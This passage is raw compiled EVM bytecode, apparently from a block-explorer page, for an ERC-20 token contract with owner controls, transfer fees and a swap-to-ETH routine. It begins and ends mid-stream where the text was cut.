600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612823565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128b5565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b600061144730610a0a565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c9190612325565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c1919061216b565b60405180910390fd5b50600083856117d99190612904565b9050809150509392505050565b60008082846117f59190612938565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129da565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a049190612325565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129fa565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a94612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae3612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a6d565b81600281518110611bc357611bc2612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b93565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef09190612325565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bed565b9050828482611f909190612c76565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612d19565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad919061216b565b60405180910390fd5b50600083856120c59190612c76565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b8381111561211b576000848401525b50505050565b6000601f19601f8301169050919050565b600061213d826120d2565b61214781856120dd565b93506121578185602086016120ee565b61216081612121565b840191505092915050565b600060208201905081810360008301526121858184612132565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121bd82612192565b9050919050565b6121cd816121b2565b81146121d857600080fd5b50565b6000813590506121ea816121c4565b92915050565b6000819050919050565b612203816121f0565b811461220e57600080fd5b50565b600081359050612220816121fa565b92915050565b6000806040838503121561223d5761223c61218d565b5b600061224b858286016121db565b925050602061225c85828601612211565b9150509250929050565b60008115159050919050565b61227b81612266565b82525050565b60006020820190506122966000830184612272565b92915050565b6000819050919050565b60006122c16122bc6122b784612192565b61229c565b612192565b9050919050565b60006122d3826122a6565b9050919050565b60006122e5826122c8565b9050919050565b6122f5816122da565b82525050565b600060208201905061231060008301846122ec565b92915050565b61231f816121f0565b82525050565b600060208201905061233a6000830184612316565b92915050565b6000806000606084860312156123595761235861218d565b5b6000612367868287016121db565b9350506020612378868287016121db565b925050604061238986828701612211565b9150509250925092565b61239c816121b2565b82525050565b60006020820190506123b76000830184612393565b92915050565b600060ff82169050919050565b6123d3816123bd565b82525050565b60006020820190506123ee60008301846123ca565b92915050565b60006020828403121561240a5761240961218d565b5b6000612418848285016121db565b91505092915050565b600061242c82612192565b9050919050565b61243c81612421565b82525050565b60006020820190506124576000830184612433565b92915050565b600080604083850312156124745761247361218d565b5b6000612482858286016121db565b9250506020612493858286016121db565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124e457607f821691505b6020821081036124f7576124f661249d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125336020836120dd565b915061253e826124fd565b602082019050919050565b6000602082019050818103600083015261256281612526565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125c56026836120dd565b91506125d082612569565b604082019050919050565b600060208201905081810360008301526125f4816125b8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126576024836120dd565b9150612662826125fb565b604082019050919050565b600060208201905081810360008301526126868161264a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e96022836120dd565b91506126f48261268d565b604082019050919050565b60006020820190508181036000830152612718816126dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061277b6025836120dd565b91506127868261271f565b604082019050919050565b600060208201905081810360008301526127aa8161276e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061280d6023836120dd565b9150612818826127b1565b604082019050919050565b6000602082019050818103600083015261283c81612800565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061289f6029836120dd565b91506128aa82612843565b604082019050919050565b600060208201905081810360008301526128ce81612892565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061290f826121f0565b915061291a836121f0565b92508282101561292d5761292c6128d5565b5b828203905092915050565b6000612943826121f0565b915061294e836121f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612983576129826128d5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129c4601b836120dd565b91506129cf8261298e565b602082019050919050565b600060208201905081810360008301526129f3816129b7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a67816121c4565b92915050565b600060208284031215612a8357612a8261218d565b5b6000612a9184828501612a58565b91505092915050565b6000819050919050565b6000612abf612aba612ab584612a9a565b61229c565b6121f0565b9050919050565b612acf81612aa4565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612b0a816121b2565b82525050565b6000612b1c8383612b01565b60208301905092915050565b6000602082019050919050565b6000612b4082612ad5565b612b4a8185612ae0565b9350612b5583612af1565b8060005b83811015612b86578151612b6d8882612b10565b9750612b7883612b28565b925050600181019050612b59565b5085935050505092915050565b600060a082019050612ba86000830188612316565b612bb56020830187612ac6565b8181036040830152612bc78186612b35565b9050612bd66060830185612393565b612be36080830184612316565b9695505050505050565b6000612bf8826121f0565b9150612c03836121f0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c3c57612c3b6128d5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c81826121f0565b9150612c8c836121f0565b925082612c9c57612c9b612c47565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d036021836120dd565b9150612d0e82612ca7565b604082019050919050565b60006020820190508181036000830152612d3281612cf6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eef63d531c2c08b9e0faf7f16030e7bb2e465a2278277835ee92a8e08643fd5164736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c806385e22427116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b806395d89b41116100c657806395d89b41146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b806385e224271461048d5780638da5cb5b146104b8578063914eb66a146104e3576101c2565b806339509351116101595780635342acb4116101335780635342acb4146103bd578063557ed1ba146103fa57806370a082311461042557806382eefb4314610462576101c2565b806339509351146103185780633ecad271146103555780634a74bb0214610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e9919061216b565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612226565b610797565b6040516102269190612281565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122fb565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c9190612325565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612340565b6107e5565b6040516102b99190612281565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a2565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123d9565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612226565b6108fc565b60405161034c9190612281565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123f4565b6109af565b6040516103899190612281565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b49190612281565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df91906123f4565b6109e2565b6040516103f19190612281565b60405180910390f35b34801561040657600080fd5b5061040f610a02565b60405161041c9190612325565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906123f4565b610a0a565b6040516104599190612325565b60405180910390f35b34801561046e57600080fd5b50610477610a53565b6040516104849190612325565b60405180910390f35b34801561049957600080fd5b506104a2610a59565b6040516104af9190612325565b60405180910390f35b3480156104c457600080fd5b506104cd610a63565b6040516104da91906123a2565b60405180910390f35b3480156104ef57600080fd5b506104f8610a8c565b005b34801561050657600080fd5b5061050f610bdf565b60405161051c919061216b565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612226565b610c71565b6040516105599190612281565b60405180910390f35b34801561056e57600080fd5b5061058960048036038101906105849190612226565b610d3e565b6040516105969190612281565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a2565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a2565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612442565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612281565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061245d565b610de0565b60405161067f9190612325565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123f4565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d39190612325565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123f4565b610f61565b005b606060018054610714906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124cc565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f3565b506108b4846107ff611122565b6108af85604051806060016040528060288152602001612d3a60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611122565b846109a0856006600061091a611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b6000600c54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a94611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1890612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bee906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906124cc565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610d34610c7e611122565b84610d2f85604051806060016040528060258152602001612d626025913960066000610ca8611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d52610d4b611122565b84846112f3565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612549565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126ff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e69190612325565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612791565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612823565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128b5565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b600061144730610a0a565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c9190612325565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c1919061216b565b60405180910390fd5b50600083856117d99190612904565b9050809150509392505050565b60008082846117f59190612938565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129da565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a049190612325565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129fa565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a94612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae3612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a6d565b81600281518110611bc357611bc2612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b93565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef09190612325565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bed565b9050828482611f909190612c76565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612d19565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad919061216b565b60405180910390fd5b50600083856120c59190612c76565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b8381111561211b576000848401525b50505050565b6000601f19601f8301169050919050565b600061213d826120d2565b61214781856120dd565b93506121578185602086016120ee565b61216081612121565b840191505092915050565b600060208201905081810360008301526121858184612132565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121bd82612192565b9050919050565b6121cd816121b2565b81146121d857600080fd5b50565b6000813590506121ea816121c4565b92915050565b6000819050919050565b612203816121f0565b811461220e57600080fd5b50565b600081359050612220816121fa565b92915050565b6000806040838503121561223d5761223c61218d565b5b600061224b858286016121db565b925050602061225c85828601612211565b9150509250929050565b60008115159050919050565b61227b81612266565b82525050565b60006020820190506122966000830184612272565b92915050565b6000819050919050565b60006122c16122bc6122b784612192565b61229c565b612192565b9050919050565b60006122d3826122a6565b9050919050565b60006122e5826122c8565b9050919050565b6122f5816122da565b82525050565b600060208201905061231060008301846122ec565b92915050565b61231f816121f0565b82525050565b600060208201905061233a6000830184612316565b92915050565b6000806000606084860312156123595761235861218d565b5b6000612367868287016121db565b9350506020612378868287016121db565b925050604061238986828701612211565b9150509250925092565b61239c816121b2565b82525050565b60006020820190506123b76000830184612393565b92915050565b600060ff82169050919050565b6123d3816123bd565b82525050565b60006020820190506123ee60008301846123ca565b92915050565b60006020828403121561240a5761240961218d565b5b6000612418848285016121db565b91505092915050565b600061242c82612192565b9050919050565b61243c81612421565b82525050565b60006020820190506124576000830184612433565b92915050565b600080604083850312156124745761247361218d565b5b6000612482858286016121db565b9250506020612493858286016121db565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124e457607f821691505b6020821081036124f7576124f661249d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125336020836120dd565b915061253e826124fd565b602082019050919050565b6000602082019050818103600083015261256281612526565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125c56026836120dd565b91506125d082612569565b604082019050919050565b600060208201905081810360008301526125f4816125b8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126576024836120dd565b9150612662826125fb565b604082019050919050565b600060208201905081810360008301526126868161264a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e96022836120dd565b91506126f48261268d565b604082019050919050565b60006020820190508181036000830152612718816126dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061277b6025836120dd565b91506127868261271f565b604082019050919050565b60006020820190508181036000830